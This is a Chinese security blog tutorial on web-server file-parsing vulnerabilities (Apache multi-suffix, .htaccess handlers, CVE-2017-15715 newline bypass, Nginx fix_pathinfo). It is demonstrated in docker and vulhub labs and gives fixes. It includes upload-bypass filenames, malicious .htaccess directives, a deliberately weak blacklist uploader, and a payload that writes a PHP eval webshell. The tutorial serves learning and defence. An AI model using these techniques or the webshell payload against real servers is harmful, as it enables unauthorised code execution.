沙漏安全团队
欢迎真正热爱技术的你!
本文首发于安全客,如果方便的话请阅读原文: https://www.anquanke.com/post/id/219107
0x00 前言
继续学习常见漏洞,经常听说过解析漏洞,这次来一探究竟。
0x01 解析漏洞简介
1、文件解析漏洞概述 文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。 2、web容器是什么 web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)
中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。 容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。
攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起
0x02 Apache
测试环境 docker容器:kstaken/apache2 在docker里安装php:apt-get update && apt-get install php5
靶场:DoraBox靶场 修改站点根目录:vim /etc/apache2/sites-enabled/000-default
1、多后缀
漏洞描述:在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。所以可上传一个test.php.qwzf
文件绕过验证且服务器依然会将其解析为php。Apache 能够识别的文件在mime.types
文件里。 影响版本:Apache 2.0.x <= 2.0.59 Apache 2.2.x <= 2.2.17 Apache 2.2.2 <= 2.2.8 开始测试:1.查看Apache版本:
apachectl -v
#或httpd -v(测试未显示Apache版本)
平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。
2.在DoraBox的任意文件靶场进行测试 上传的文件名:test.php.qwzf 上传的文件内容
<?php phpinfo(); ?>
上传成功,访问看一下
成功解析成php文件。 修复方法:后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。
2、Apache配置问题
1.如果在Apache的 /etc/apache2/apache2.conf
里有这样的配置
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是qwzf.jpg
,会以php 来执行。2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是qwzf.php.jpg
也会以php 来执行。3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg
即使扩展名是.jpg
,也会以php来执行。
Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess
(分布式配置文件) 将Apache的/etc/apache2/sites-available/default
里AllowOverride None
改为AllowOverride All
AllowOverride All
开启rewrite_mod
a2enmod rewrite
这样.htaccess
文件就会生效。 开始测试:1.上传一个.htaccess
文件,文件内容如下:
方法1:
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
方法2:
AddHandler php5-script .php
方法3:
AddType application/x-httpd-php .jpg
2.然后上传文件名为 方法1和方法3:qwzf.jpg 方法2和方法3:qwzf.php.jpg 文件内容为:<?php phpinfo(); ?>
修复方法:1.apache配置文件,禁止.php.
这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.关闭重写
a2dismod rewrite
3、罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)
此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。上传一个查看phpinfo信息的qwzf.php3
文件,访问
发现qwzf.php3
文件被当作php文件进行解析。
4、后缀包含换行符x0A(CVE-2017-15715)
phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715 漏洞描述:上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。这个漏洞可以用来绕过文件上传黑名单限制。即:
1.phpx0a => 1.php
apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.phpx0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
影响版本:Apache 2.4.0-2.4.29 测试环境:1.环境一:用docker拉取一个名为vulhub/php:5.5-apache
的镜像(Apache版本2.4.0~2.4.29之间) 使用下面命令启动容器:
docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache
进入容器并查看Apache版本
docker exec -it cve-2017-15715 /bin/bash
apachectl -v
将下面测试代码目录映射到容器内的/var/www/html目录下,设置好写权限,即可开始测试。
2.环境二:当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715
环境。环境位置:vulhub/httpd/CVE-2017-15715
测试代码:
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
file:<input type="file" name="file"><br />
filename:<input type="text" name="name" value="qwzf.php">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
开始测试:1.正常上传php文件,被拦截
2.上传test.php.qwzf
,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。
3.利用CVE-2017-15715,上传一个包含换行符的文件
注:只能是x0A,不能是x0Dx0A
上传qwzf.php
文件,filename设置为qwzf.php
使用burp抓包,选择burp的Hex功能,在qwzf.php
后面添加一个x0A
发包,上传成功。然后访问qwzf.php%0A
,发现可以成功解析php文件
Nginx是一款高性能的WEB服务器,通常用来作为PHP的解析容器。
0x03 Nginx
1、Nginx PHP CGI 解析漏洞(fix_pathinfo)
漏洞描述:查看nginx的配置文件 vim /etc/nginx/conf.d/default.conf
(1)Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME传递给PHP CGI。(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢? 这就涉及到fix_pathinfo
选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
简单来说,由于Nginx的特性,只要URL中路径名以.php
结尾,不管该文件是否存在,直接交给php处理。
注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件 使得该漏洞难以被成功利用
相关知识:(1)通过phpinfo查看cgi.fix_pathinfo=1
,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]
获取,而配置文件中的cgi.fix_pathinifo
选项则与这个值的获取相关。
(2)在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。 影响版本:漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞 漏洞形式:
/1.jpg/1.php /1.jpg/.php /1.jpg%00.php /1.jpg/%20 .php
还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>
然后访问qwzf.jpg/.php
,在当前目录下就会生成一句话木马shell.php
测试环境:1.环境一:vulhub靶场的漏洞环境 环境位置:vulhub/nginx/nginx_parsing_vulnerability
nginx版本:nginx/1.19.2
2.环境二:使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1) nginx版本:nginx/1.11.5
开始测试:使用环境一的vulhub靶场对应的环境 上传一个jpg文件,文件名为phpinfo.jpg
,文件内容为(或者上传图片马):
GIF89a
<?php phpinfo(); ?>
上传成功,访问一下
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20
评论